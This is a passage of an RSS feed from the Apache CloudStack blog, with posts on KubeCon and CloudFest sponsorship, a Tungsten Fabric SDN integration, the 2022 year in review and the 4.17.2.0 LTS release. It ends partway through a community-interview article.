        </item>
        <item>
            <title><![CDATA[Meet Apache CloudStack at KubeCon + CloudNativeCon 2023]]></title>
            <link>https://cloudstack.apache.org/blog/meet-apache-cloudstack-at-kubecon</link>
            <guid>https://cloudstack.apache.org/blog/meet-apache-cloudstack-at-kubecon</guid>
            <pubDate>Fri, 10 Feb 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[On 18-21st April, in Amsterdam, Netherlands will take place one of the largest flagship cloud conferences globally - KubeCon + Cloud NativeCon.]]></description>
            <content:encoded><![CDATA[<a href="/blog/meet-apache-cloudstack-at-kubecon"><img loading="lazy" src="/img/imported/fe5aa3f1-cd92-4cfa-a092-a595d3b9ffd4" alt="ACS-Kubecon.jpg" width="750" height="393" class="img_ev3q"></a><strong>On 18-21<sup>st</sup> April, in Amsterdam, Netherlands will take place one of the largest flagship cloud conferences globally - </strong><a href="https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/" target="_blank" rel="noopener noreferrer"><strong>KubeCon + Cloud NativeCon.</strong></a><p>We are excited to share that Apache CloudStack will be a silver sponsor at the event, and that community members will be representing the technology and community on the global stage. Attendees will be able to come to the Apache CloudStack booth and learn more about the capabilities and use cases of CloudStack as a turnkey solution for cloud management. This will help further propel the awareness of Apache CloudStack, across an audience of leading cloud providers, MSPs and telcos.</p><a href="https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/register/" target="_blank" rel="noopener noreferrer" class="button button--primary"><b>REGISTER NOW</b></a><br><br><strong>Apache CloudStack at <a href="https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/" target="_blank" rel="noopener noreferrer">KubeCon + CloudNative Con</a></strong><p>Being part of KubeCon + CloudNativeCon is yet another level of progression for our community, as our representatives will be meeting a number of organisations in the Kubernetes ecosystem, introducing them to the technology for the first time, as well as showing recent and upcoming features to existing users. In particular, we will share the pitfalls, hacks, learnings, and key takeaways from <a href="https://www.youtube.com/watch?v=AR8JXotMir8&amp;t=44s" target="_blank" rel="noopener noreferrer">our journey to develop CAPC</a> - the CAPI Provider for Apache CloudStack.</p><strong>Get a 20% discount for KubeCon + CloudNative Con 2023 with Apache CloudStack</strong><p>As a silver sponsor of KubeCon + CloudNative Con, we have the chance to give away 20% discount codes to the community.</p><p>There are two types of passes the 20% discount code can be used for:</p><ol><li><p>In-Person KubeCon + CloudNativeCon Only Corporate Attendee Pass: Includes access to keynotes, sessions, exhibit hall, and all other programs that do not require a separate registration and/or fee on the main conference days, April 19-21. Includes full attendee access to the virtual event platform</p></li><li><p>In-Person All-Access Corporate Attendee Pass: Includes all features of the KubeCon + CloudNativeCon Only Corporate Attendee Pass. Includes access to all CNCF-hosted co-located events on April 18</p></li></ol><p>In order to redeem the code, <a href="https://cloudstack.apache.org/mailing-lists.html" target="_blank" rel="noopener noreferrer">get in touch with us on the CloudStack's mailing lists and ask for the code to be applied during registration</a>.</p><a href="https://cloudstack.apache.org/mailing-lists.html" target="_blank" rel="noopener noreferrer"><b>SUBSCRIBE</b></a>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack and Tungsten Fabric SDN - Solution Brief]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-and-tungsten-fabric</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-and-tungsten-fabric</guid>
            <pubDate>Mon, 23 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[CloudStack is a multi-hypervisor, multi-tenant, high-availability cloud management platform that delivers the flexibility and freedom of open-source technology and the power of an enterprise-grade virtualization management platform.]]></description>
            <content:encoded><![CDATA[<a href="/blog/apache-cloudstack-and-tungsten-fabric"><img loading="lazy" src="/img/imported/b2495a18-898c-44c0-bbe4-5b227bad1565" alt="Tungsten-Fabric-Banner.png" width="750" height="393" class="img_ev3q"></a><p>CloudStack is a multi-hypervisor, multi-tenant, high-availability cloud management platform that delivers the flexibility and freedom of open-source technology and the power of an enterprise-grade virtualization management platform.</p><p>In the <strong>new blog series named CloudStack Integrations</strong>, we present a range of technologies with which CloudStack is integrated and can become part of your technology stack. You will be able to<strong>&nbsp;<!-- -->learn more about different software solutions, which can be combined with CloudStack</strong> and dive deep into specialized<!-- -->&nbsp;<strong>Technical Solution Briefs</strong>&nbsp;<!-- -->presenting the integrations.</p><p>Today we will introduce you to <a href="https://tungsten.io/" target="_blank" rel="noopener noreferrer">Tungsten.</a></p><h1>Tungsten Fabric's Integration with Apache CloudStack</h1><p>Tungsten Fabric (TF) comprises components like controller and vRouter; plus additional components for analytics and third-party integration. In this Solution Brief, TF integrates with CloudStack as an SDN plugin to enable rich networking capabilities and lifecycle management of VMs and containers where TF components or control functions are deployed.</p><p>The deployment and life-cycle management of Tungsten Fabric can be done with tools like Ansible. After Tungsten Fabric and CloudStack are installed, we need to create a zone with the TF isolation method, and then, when we create a network or a vm in CloudStack, TF plugin will call the TF Controller API to create the resources.</p><a class="button button--primary button--lg" target="_blank" href="/files/acs-tungsten-fabric-sdn.pdf"><b>DOWNLOAD THE SOLUTION BRIEF</b></a><br><br><strong>Key Outcomes for Users</strong><p>Apache CloudStack has long provided flexibility regarding network configuration to serve the needed use case. Along with built-in functionality, ACS has supported a number of different Software Defined Networking (SDN) controllers, including VMware NSX multi-hypervisor (formally Nicara), Nuage and others.</p><p>However, Apache CloudStack lacked a fully-featured open-source SDN controller to deliver advanced networking features.&nbsp;&nbsp;</p><p>Apache CloudStack's integration with Tungsten Fabric will finally close this feature gap providing many long sought-after features, including BGP, MPLS, service stitching and deep security policy capabilities to meet even the most stringent industry requirements.</p><p>CloudStack will be able to manage these advanced functions via tight integration with the underlying best-of-breed network controller, while Tungsten Fabric handles the network fabric.&nbsp;</p><p><span><strong>The Community Adopting the Integration of Apache CloudStack and Tungsten Fabric</strong></span></p><p>A number of community members have already adopted Tungsten Fabric as part of their cloud infrastructure. We reached out to the community to hear their thoughts on the integration and how it benefits their organisation.</p><p><em>‘’The EWERK Group mainly serves organizations in system-relevant industries with regulated IT. In these industries, highly complex IT infrastructure projects place special demands on the network. In order to meet these requirements, a future-oriented further development with the highest demand on technological know-how and flexibility of the software is needed. The support of Tungsten Fabric helps us to meet these requirements.’’</em></p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>Sven Vogel, Senior Manager R&amp;D for Cloud and Infrastructure - </strong><a href="https://www.ewerk.com/startseite" target="_blank" rel="noopener noreferrer"><strong>EWERK</strong></a></p><p><em>"ENA is committed to the continued success of Apache CloudStack and we felt integrating Tungsten Fabric, a class leading open source Software Defined Networking (SDN) product addresses a key feature gap"</em>, remarked Simon Weller. <em>"ENA has been part of Apache CloudStack since its inception and we're proud that we're able to continue our work within the ACS community".</em></p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>Simon Weller, VP of Technology - </strong><a href="https://www.ena.com/" target="_blank" rel="noopener noreferrer"><strong>Education Networks of America</strong></a><strong>&nbsp;</strong></p><p><strong>About Tungsten Fabric</strong></p><p>Tungsten Fabric is an open-source network and security orchestrator which provides secure connectivity for cloud-native environments. Tungsten Fabric enables developers, network and security operations staff to deploy zero-trust micro-segmentation within a DevOps workflow to reduce the friction in application deployment. It ensures performance and security for deployments of tens of thousands of nodes at Tier 1 service providers, major research centers and enterprises with global operations.</p><p>With Tungsten Fabric, security and network engineers can build secure microservices that can be deployed on various container orchestration platforms, allowing them to work directly within the DevOps workflow. This ensures applications and infrastructure alike are secure against sophisticated attacks, while increasing development velocity and site reliability. Tungsten Fabric analytics provide flow-level visibility, while port mirroring provides application-level visibility.&nbsp;</p><p>Together these features enable network and security operations staff, streamlining troubleshooting and mean time to resolution (MTTR). Tungsten Fabric manages and implements physical and virtual networking and security for cloud environments. Since the same controller and forwarding components are used in every implementation, Tungsten Fabric provides a consistent interface for managing connectivity and policy in all the environments it supports, and can provide seamless and secure connectivity between workloads managed by different orchestrators, whether virtual machines or containers.</p>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[CloudStack European User Group - May 4th, 2023]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-european-user-group-may</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-european-user-group-may</guid>
            <pubDate>Fri, 13 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack is thrilled to share that the spring edition of CloudStack European User Group 2023 is now official! The event will be taking place in London, United Kingdom, with the exact location to be announced very soon.]]></description>
            <content:encoded><![CDATA[<a href="/blog/cloudstack-european-user-group-may"><img loading="lazy" src="/img/imported/4a13eac1-472a-49ae-ba58-51d6b46b63d2" alt="CSEUG 23 Banner.png" width="750" height="393" class="img_ev3q"></a><strong>Apache CloudStack is thrilled to share that the spring edition of CloudStack European User Group 2023 is now official! The event will be taking place in London, United Kingdom, with the exact location to be announced very soon.</strong><p><strong>Take a minute to register now and save your place. Come join us and meet developers, users and committers.</strong></p><a href="https://www.eventbrite.com/e/cloudstack-european-user-group-2023-tickets-513821653397" target="_blank" rel="noopener noreferrer" class="button button--primary"><b>REGISTER NOW</b></a><br><br><strong>Why Join the CSEUG</strong><p>CloudStack European User Group is a get-together for the European CloudStack Community. CSEUG is a 1-day technical event, where you will be able to meet the leading CloudStack experts, users and skilful engineers from the open-source world. You can expect technical talks, user stories, new features and integrations presentations and more.</p><strong>Call for Presentations</strong><p>The Call for Presentations is also open. We encourage you to submit your session early, to maximise the chance of it being accepted. Also, please keep in mind sessions are expected to be held in-person. Click here to submit your session proposal - <a href="https://bit.ly/3GYagEE" target="_blank" rel="noopener noreferrer"></a><a href="https://bit.ly/3GYagEE" target="_blank" rel="noopener noreferrer">https://bit.ly/3GYagEE</a></p><strong>Who is the Conference for?</strong><p>The event is aimed at developers, operators and users to discuss and evolve the open-source software project, its functionality and real-world operability. This event will introduce you to the CloudStack family, community leaders, project members and contributors.</p><p>CSEUG welcomes attendees from all over the globe. Our core audience is enterprises, cloud service providers, telcos and MSPs. Every region sends its best and brightest to share insights and knowledge on open-source technology, orchestrating public and private clouds, building IaaS.</p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Meet Apache CloudStack at CloudFest 2023]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-at-cloudfest</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-at-cloudfest</guid>
            <pubDate>Thu, 12 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[On March 20-24, 2023, in Europa-Park, Germany will take place the #1 internet infrastructure event in the world, connecting the global cloud computing industry - CloudFest! Meet the Apache CloudStack Community at booth G19.]]></description>
            <content:encoded><![CDATA[<a href="/blog/apache-cloudstack-at-cloudfest"><img loading="lazy" src="/img/imported/715a438b-12ac-45f4-b127-a795dab5da75" alt="banner.png" width="750" height="393" class="img_ev3q"></a><strong>On March 20-24, 2023, in Europa-Park, Germany will take place the #1 internet infrastructure event in the world, connecting the global cloud computing industry - CloudFest! Meet the Apache CloudStack Community at booth G19.</strong><p>We are excited to announce that for the first year, Apache CloudStack will be exhibiting at the world<!-- -->’<!-- -->s largest cloud industry event. As an exhibitor, we will showcase the power of one of the leading open-source IaaS management solutions. People from leading cloud providers, MSPs and telcos will have the chance to discover more about the capabilities and use cases of CloudStack as a turnkey solution for cloud management.</p><p>CloudFest is the largest and most important cloud event of the year. Gathering more than <strong>7,000 attendees</strong>, it<!-- -->’<!-- -->s an excellent place for networking, idea generation, reaching out to your partners and prospects, and attending some exciting sessions.</p><h2><strong>The Benefits of Apache CloudStack for Cloud Builders</strong></h2><p>For businesses entering the public cloud market, finding the software and partners that enable rapid deployment for their customers can be a major obstacle. It can take up a significant amount of time and result in a low ROI if the wrong choices are made when providing public and private cloud solutions.</p><p>CloudStack is a turnkey solution for cloud builders and manages service providers. It is completely open-source, easy to implement, manage and scale. Powered by a large open-source community and following rapid release cycles, Apache CloudStack help cloud builders solve their key challenges - costs, vendor lock-in and using fewer resources to manage tens of thousands of physical servers installed in geographically distributed data centers.</p><h2><strong>Apache CloudStack</strong> <strong>at CloudFest</strong></h2><p>Being part of CloudFest is an essential step for our community to meet existing users from the cloud industry and show all the improvements and enhancements in the project. Additionally, we hope to be able to meet people interested in contributing to open-source projects and engage them with Apache CloudStack.</p><p>We will also be excited to discuss Apache CloudStack with new potential users and technologies which would like to integrate with us.</p><h2><strong>Get a free pass for CloudFest 2023 with </strong><strong>Apache CloudStack</strong></h2><p>As an exhibitor at CloudFest 2023, we have the chance to give away free passes to all the technology users and community members. Claim your free ticket with code &nbsp;<strong>fSy8UQnW</strong>.</p><a href="https://registration.cloudfest.com/registration?code=fSy8UQnW2" target="_blank" rel="noopener noreferrer"><b>CLAIM A FREE TICKET FOR CLOUDFEST</b></a>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Year in Review - 2022]]></title>
            <link>https://cloudstack.apache.org/blog/year-in-review-2022</link>
            <guid>https://cloudstack.apache.org/blog/year-in-review-2022</guid>
            <pubDate>Fri, 30 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[2022 was a hugely successful year for the Apache CloudStack community. We collaborated on a successful major release - Apache CloudStack 4.17 bringing a bunch of new capabilities and improvements, as well as created multiple new CloudStack integrations. As well as this, the community created two minor releases as part of the LTS programme.]]></description>
            <content:encoded><![CDATA[<a href="/blog/year-in-review-2022"><img loading="lazy" src="/img/imported/a0b79998-d965-4a92-af6b-ce9cdb841c32" alt="Year in review.png" width="750" height="393" class="img_ev3q"></a><p>2022 was a hugely successful year for the Apache CloudStack community. We collaborated on a successful major release - Apache CloudStack 4.17 bringing a bunch of new capabilities and improvements, as well as created multiple new CloudStack integrations. As well as this, the community created two minor releases as part of the LTS programme.</p><p>The community also held two successful conferences, one of which being the first in-person CloudStack Collaboration Conference since the pandemic. The new &amp;"Year in Review" blogs series encourages us to reflect on the community<!-- -->’<!-- -->s achievements, and thus lets us brainstorm the ways we will further develop Apache CloudStack in all facets in the new year. Find out what we managed to achieve together and what is coming in 2023 in this recap article!</p><span><a href="https://blogs.apache.org/cloudstack/entry/what-s-new-in-apache1" target="_blank" rel="noopener noreferrer"><strong><span>Apache CloudStack 4.17 Release</span></strong></a></span><p>The year saw the newest major release - Apache CloudStack 4.17, which brought a number of new and exciting features being introduced, including:</p><ul><li><span><span><strong><span>Zero Downtime Upgrades for Virtual Routers</span></strong></span></span></li></ul><p><span><span><span>With this new feature, the virtual router does not have to go through the process of complete removal and instantiating a new one involving shutdown, resource release, system VM template copy from secondary storage to primary, starting and VR configuration</span></span></span></p><p><span><span><span>Previously when a new release of Apache CloudStack was deployed, the operations team had to organize maintenance windows to allow the redeployment of every virtual router. Now an in-place upgrade of CloudStack virtual routers can be performed with zero downtime.</span></span></span></p><ul><li><span><span><strong><span>VR Live Patching</span></strong></span></span></li></ul><p><span><span><span>Underpinning zero downtime upgrades is the new feature VR live patching. This feature can also be used independently of upgrades and allow CloudStack admins to apply software updates to Virtual Routers on the fly. Previously all Apache CloudStack scripts to manage the Virtual Router were stored in an ISO image and mounted during the first boot and then copied to the Virtual Router. Now the update is performed dynamically , as long as the base OS remains constant , users to not need to recreate the Virtual Router.</span></span></span></p><ul><li><span><strong><span><span>IPv6 support for Isolated and VPC Networks</span></span></strong></span></li></ul><p><span><span><span>IPv6 is considered a natural evolution of any system that intends to be present in computing environments in the future. The RIPE NCC, which assigns IP addresses in 76 countries to ISPs and other organizations, got its final allocation of IPv4 addresses from the Internet Assigned Numbers Authority (IANA) in 2012.</span></span></span><br><span><span><span>Apache CloudStack already supported IPv6 for Shared Networks; now IPv6 is also supported for Isolated Networks and VPC. Users can deploy IPv6 networks where routing is currently static, allowing users to use subnets of IPv6 networks directly in CloudStack instances.</span><br><span>In this context, unlike IPv4 that relies on NAT to deliver network services to users, the Virtual Router behaves like a real router, routing IPv6 packets and allowing users to configure firewall.</span></span></span></p><ul><li><span><strong><span><span>Self-service Network Improvements</span></span></strong></span></li></ul><p><span><span>Previously, the creation of Shared Networks and Private Gateways was an admin- only feature. When a user needed a Shared Network or Private Gateway, they would have to make a service request to the Service Provider or infrastructure operations team. Only after that, users could configure and use their respective resources.</span></span></p><p><span><span>With Apache CloudStack 4.17, users can self-serve the creation of these resources through the UI or API with no involvement of the admin.</span></span></p><p><strong><span><span>To learn more about the remaining features introduced in the 4.17 release, read the </span><a href="https://blogs.apache.org/cloudstack/entry/what-s-new-in-apache1" target="_blank" rel="noopener noreferrer"><span>release blog.</span></a></span></strong></p><p><strong><span><u><span><span>New CloudStack Integrations</span></span></u></span></strong></p><p><span><span>The community has collaborated on a new blog series named ‘CloudStack Integrations’, introducing a range of technologies with which CloudStack is integrated with and can become part of your technology stack. You will be able to learn more about different software solutions, which can be combined with CloudStack and dive deep into specialized Technical Solution Briefs presenting the integrations.</span></span></p><ul><li><span><strong>Kubernetes CAPI Provider - CloudStack Integration</strong></span></li></ul><p><span><span>The Kubernetes Cluster API (CAPI) provider for Apache CloudStack allows Kubernetes users to build and manage resources on Apache CloudStack. The Cluster API brings declarative, Kubernetes-style APIs to cluster creation, configuration and management. The API itself is shared across multiple cloud providers allowing for true Apache CloudStack hybrid deployments of Kubernetes. It is built atop the lessons learned from previous cluster managers such as kops and kubicorn.</span></span></p><p><span><span>If users want to launch a Kubernetes cluster on Apache CloudStack, they can check out the </span><a href="https://cluster-api-cloudstack.sigs.k8s.io/getting-started.html" target="_blank" rel="noopener noreferrer">Getting Started Guide</a><span> to create your first Kubernetes cluster on Apache CloudStack using Cluster API.</span></span></p><p><span><span>Watch the session below from the CloudStack European User Group this year, featuring Peter Motykowski from AWS discuss more about the newly developed provider, its capabilities and how you can benefit from it!</span></span></p><a href="https://www.youtube.com/watch?v=WuXdsDjPq9E" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/ce27ebce-d019-41d6-b105-c2827751a678" alt="kubernetes CAPI.png" width="750" height="393" class="img_ev3q"></a><ul><li><span><a href="https://storpool.com/" target="_blank" rel="noopener noreferrer"><strong>StorPool Storage</strong></a><strong><span> - CloudStack Integration</span></strong></span></li></ul><p><span><span>StorPool Storage volume management is integrated now with Apache CloudStack to allow seamless use of the capabilities of the StorPool Storage system through the CloudStack GUI, CLI, and API interfaces. With the integration, the features available in StorPool get inherited by each cloud deployed with StorPool Storage - enabling cloned provisioning, instant snapshots, thin provisioning, and backup, disaster recovery, and Quality of Service (QoS) policies per virtual disk or virtual machine (VM). Thanks to the way StorPool works, VM provisioning is nearly instantaneous, and data placement policies and other settings can be changed in-flight to address changes in user requirements. </span><a href="/img/imported/5e069f87-a428-4f07-92ac-a8bf8d0d114b?api=v2">Click here</a><span> to download the solution brief. </span></span></p><a href="https://blogs.apache.org/cloudstack/entry/cloudstack-collaboration-conference-2022-roundup" target="_blank" rel="noopener noreferrer"><strong><span>CloudStack Collaboration Conference</span></strong></a><p><span><span>The community re-joined in-person for the first time since the pandemic, at the CloudStack Collaboration Conference in Sofia last month.&nbsp; The hybrid event hosted over 370 participants and 48 speakers from 32 countries! The conference broke its record for the most in-person attendees. In total, there were 38 sessions from leading CloudStack experts, users and skilful engineers from the open-source world. These sessions included: technical talks, user stories, new features and integrations presentations and more. You can watch back the sessions or retrieve the slides on the </span><a href="https://blogs.apache.org/cloudstack/entry/cloudstack-collaboration-conference-2022-roundup" target="_blank" rel="noopener noreferrer">event roundup blog.</a><span> Do keep in mind the sessions are still being released, so make sure you subscribe to the </span><a href="https://www.youtube.com/@ApacheCloudStack/featured" target="_blank" rel="noopener noreferrer">Apache CloudStack YouTube channel</a><span> and turn on bell notifications.</span></span></p><p>&nbsp;</p><p><span><a href="https://blogs.apache.org/cloudstack/entry/cloudstack-european-user-group-virtual" target="_blank" rel="noopener noreferrer"><strong><span>CloudStack European User Group</span></strong></a></span></p><p><span><span>Taking place on April 7th, 2022, The CloudStack European User Group was a virtual get together for the European CloudStack Community, hosting 260+ attendees from 25 countries. The event hosted a total of 10 sessions, all of which you can watch back on the </span><a href="https://www.youtube.com/playlist?list=PLnIKk7GjgFlYfut3ZIOrvN--_YuSPIerQ" target="_blank" rel="noopener noreferrer">Apache CloudStack YouTube channel</a><span>. Just like CCC, it was great to see new CloudStack committers and users, showing the growth of the global community.&nbsp; </span></span></p><p><u><span><strong><span><span>Looking to the Future - Apache CloudStack 4.18 Release</span></span></strong></span></u></p><p><span>The community is looking forward to the upcoming 4.18 release, expected in late January 2023. Some exciting features you will be able to find in the new release are: </span></p><ul><li><span><span><strong>Edge computing (4.18)&nbsp;</strong></span></span></li></ul><p><span><span>Edge computing is a distributed computing paradigm that brings computation and data storage closer to the data source and end consumer. The presence of computing capabilities at the edge of the network reduces response times for applications while reducing connectivity costs.&nbsp;</span></span></p><p><span><span>This new feature will enable</span><span> operators to leverage CloudStack in deploying light-weight Zones in edge locations. Compared to the traditional CloudStack zones, a dehydrated zone results in resource savings on the boards - solving problems related to latency at low cost in regions poorly served by the internet network.</span></span></p><ul><li><span><span><strong>Tungsten SDN Fabric (4.18)</strong></span></span></li></ul><p><span><span>Tungsten Fabric is an open-source SDN project that solves tooling complexity with the simplicity of only one networking and security tool. It is maintained by The Linux Foundation and is designed to support any cloud anywhere.&nbsp; </span></span></p><p><span><span>From 4.18, Apache CloudStack users can leverage Tungsten Fabric as a Network Provider in Isolated and VPC Networks, adding this widely adopted SDN fabric to fill feature gaps in CloudStack, enhancing security and capabilities.</span></span></p><ul><li><span><span><strong>Autoscaling (4.18)</strong></span></span></li></ul><p><span><span>This feature is an Apache CloudStack native solution, different from other approaches that created vendor lock-in of closed source products. From Apache CloudStack 4.18, cloud users can configure Autoscale VM Groups to dynamically scale up and down the number of Instances when the defined trigger conditions are met. </span></span></p><p><span><span>… and a lot more new capabilities, which will enable cloud operators to achieve more and manage easier their virtualisation. </span></span></p><p>&nbsp;</p><p><span><strong><u><span><span>At the end of the year…</span></span></u></strong></span></p><p><span>It was great to see another year of expansion of the Apache CloudStack community. We are happy to see new companies around the world adopting the technology and becoming involved in the community, whether it is through collaborations, development or keeping active on the mailing lists. In order for an open-source project to develop and be successful, people need to give back to the project - something that the Apache CloudStack community does extremely well. We are very grateful to the community’s efforts and progression in the technology, so kudos to all involved!&nbsp; </span></p><p><span>New use cases are being shared, such as <a href="https://www.arsat.com.ar/" target="_blank" rel="noopener noreferrer">ARSAT</a> covering their use cases regarding cloud services in Argentinian government entities and also sharing their mid-term roadmap strategy to include the private sector in Arsat´s client portfolio. Another thing worth reflecting on is how companies who have been adopting Apache CloudStack long-term have managed to build reliable solutions and are using the technology continuously without looking for alternatives. The reason being because CloudStack is constantly expanding its supported integrations and technologies landscape, plus the amazing pace of development and new features released. Last but not least, we also see more vendors interested in both adopting CloudStack or building new solutions on top of it like <a href="https://www.apiculus.io/" target="_blank" rel="noopener noreferrer">Apiculus</a> and <a href="https://www.stackbill.com/" target="_blank" rel="noopener noreferrer">StackBill</a> for example. </span></p><p><span>We would like to say a big thank you to everyone involved in the project and look forward to collaborating at the CloudStack European User Group in May!</span></p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack LTS Maintenance Release 4.17.2.0]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-lts-release-41720</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-lts-release-41720</guid>
            <pubDate>Fri, 16 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack LTS Maintenance Release 4.17.2.0]]></description>
            <content:encoded><![CDATA[<a href="/blog/apache-cloudstack-lts-release-41720"><img loading="lazy" src="/img/imported/73240143-71f2-48f9-b80e-650df203613d" width="100%" class="img_ev3q"></a><h2 class="anchor anchorWithStickyNavbar_LWe7" id="apache-cloudstack-lts-maintenance-release-41720">Apache CloudStack LTS Maintenance Release 4.17.2.0<a href="#apache-cloudstack-lts-maintenance-release-41720" class="hash-link" aria-label="Direct link to Apache CloudStack LTS Maintenance Release 4.17.2.0" title="Direct link to Apache CloudStack LTS Maintenance Release 4.17.2.0">​</a></h2><p>The Apache CloudStack project is pleased to announce the release of CloudStack 4.17.2.0.</p><p>The CloudStack 4.17.2.0 release is a maintenance release as part of its 4.17.x  LTS branch and contains more than 20 fixes since the CloudStack 4.17.1.0 release.</p><p>CloudStack LTS branches are supported for 18 months and will receive updates for the first 12 months and only security updates in the last 6 months.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform that allows users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, software, and storage resources. The project became an Apache top-level project in March, 2013.</p><p>ore information about Apache CloudStack can be found at:</p><a href="https://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org</a><h3 class="anchor anchorWithStickyNavbar_LWe7" id="documentation">Documentation<a href="#documentation" class="hash-link" aria-label="Direct link to Documentation" title="Direct link to Documentation">​</a></h3><p>What's new in  CloudStack 4.17.2.0:</p><a href="https://docs.cloudstack.apache.org/en/4.17.2.0/releasenotes/about.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.17.2.0/releasenotes/about.html</a><p>The 4.17.2.0 release notes include a full list of issues fixed, as well as upgrade instructions from previous versions of Apache CloudStack, and can
be found at:</p><a href="https://docs.cloudstack.apache.org/en/4.17.2.0/releasenotes/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.17.2.0/releasenotes/</a><p>The official installation, administration, and API documentation for each of the releases are available on our documentation page:</p><a href="https://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/</a><h3 class="anchor anchorWithStickyNavbar_LWe7" id="downloads">Downloads<a href="#downloads" class="hash-link" aria-label="Direct link to Downloads" title="Direct link to Downloads">​</a></h3><p>The official source code for the 4.17.2.0 release can be downloaded from our downloads page:</p><a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page, and can be found at:</p><a href="https://download.cloudstack.org/el/7/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/7/</a><a href="https://download.cloudstack.org/el/8/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/8/</a><a href="https://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/ubuntu/dists/</a><a href="https://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">https://www.shapeblue.com/packages/</a>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Use Cases, Benefits and its Projected Future]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-use-cases-benefits</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-use-cases-benefits</guid>
            <pubDate>Mon, 05 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack is a leading open-source virtualisation platform used by many global organisations. The fact that the solution is hypervisor-agnostic allows different types of enterprises to use CloudStack as a cloud orchestration no matter the rest of their tech stack.]]></description>
            <content:encoded><![CDATA[<a href="/blog/apache-cloudstack-use-cases-benefits"><img loading="lazy" src="/img/imported/b038e94b-74d3-4391-b2cf-5db68820cd66" alt="05:12:22 banner.png" width="750" height="393" class="img_ev3q"></a><p>Apache CloudStack is a leading open-source virtualisation platform used by many global organisations. The fact that the solution is hypervisor-agnostic allows different types of enterprises to use CloudStack as a cloud orchestration no matter the rest of their tech stack.</p><p>We decided to get in touch with a few community members and ask for their perspectives on the project. In this article, CloudStack users from organisations that adopted the open-source software give their answers to the following questions:&nbsp;</p><p><strong>1)&nbsp;&nbsp; Describe what your use case is with CloudStack?</strong></p><p><strong>2)&nbsp;&nbsp; What is the primary benefit of using CloudStack against other virtualization management platforms?</strong></p><p><strong>3)&nbsp;&nbsp; What is the future of the CloudStack project according to you?</strong></p><p>We interviewed different members of the community to demonstrate and share the array of capabilities Apache CloudStack has to offer. Reading through the blog will introduce you to some of the known companies in the community, and what exactly their service offerings are. In this article you will also find out how Apache CloudStack stands out amongst other cloud orchestration platforms, for reasons such as: its ease of implementation, reliability, cost-effectiveness, it’s open-source approach and more!</p><p>&nbsp;</p><p><span><strong>Sven Vogel, Senior Manager R&amp;D - Cloud and Infrastructure, </strong><a href="https://www.ewerk.com/startseite" target="_blank" rel="noopener noreferrer"><strong>EWERK</strong></a></span></p><p><strong>Sven is the senior R&amp;D manager for Cloud &amp; Infrastructure at EWERK Group. Sven is a German IT-Specialist with 15+ year’s experience in IT and a member of the Apache Software Foundation.</strong></p><p><strong>EWERK supports European companies in the field of system-relevant infrastructures. So far, they have supported over 500 companies who have put their trust into IT projects and consulting expertise.</strong></p><ul><li><strong>Describe what your use case is with CloudStack?</strong></li></ul><p>“In general, at EWERK we use Apache CloudStack as an IaaS platform for critical infrastructures in the areas of finance, health and public infrastructure. Due to the changes and new requirements in the market, especially for micro services, the use of PaaS and the Apache CloudStack Kubernetes service is becoming increasingly important. Crucial to the success is the ability to deploy all components via API or configuration management and deployment tools, such as Ansible or Terraform.”</p><ul><li><strong>What is the primary benefit of using CloudStack against other virtualization management platforms?</strong></li></ul><p>“The main advantage of Apache CloudStack is its open-source approach and the involvement of a diverse community from different countries. Everyone brings their best to the project, according to their abilities.”</p><ul><li><strong>What is the future of the CloudStack project according to you?</strong>&nbsp;</li></ul><p>“I think it's important to continue to form a good community and thus prepare the development of the project for the future. Furthermore, I see various topics such as network, Kubernetes and their automation as a challenge. Good integration of the many components in all areas from hypervisor to storage must be ensured.”</p><p>&nbsp;</p><p><span><strong>Wido den Hollander, CTO, </strong><a href="https://www.cldin.eu/" 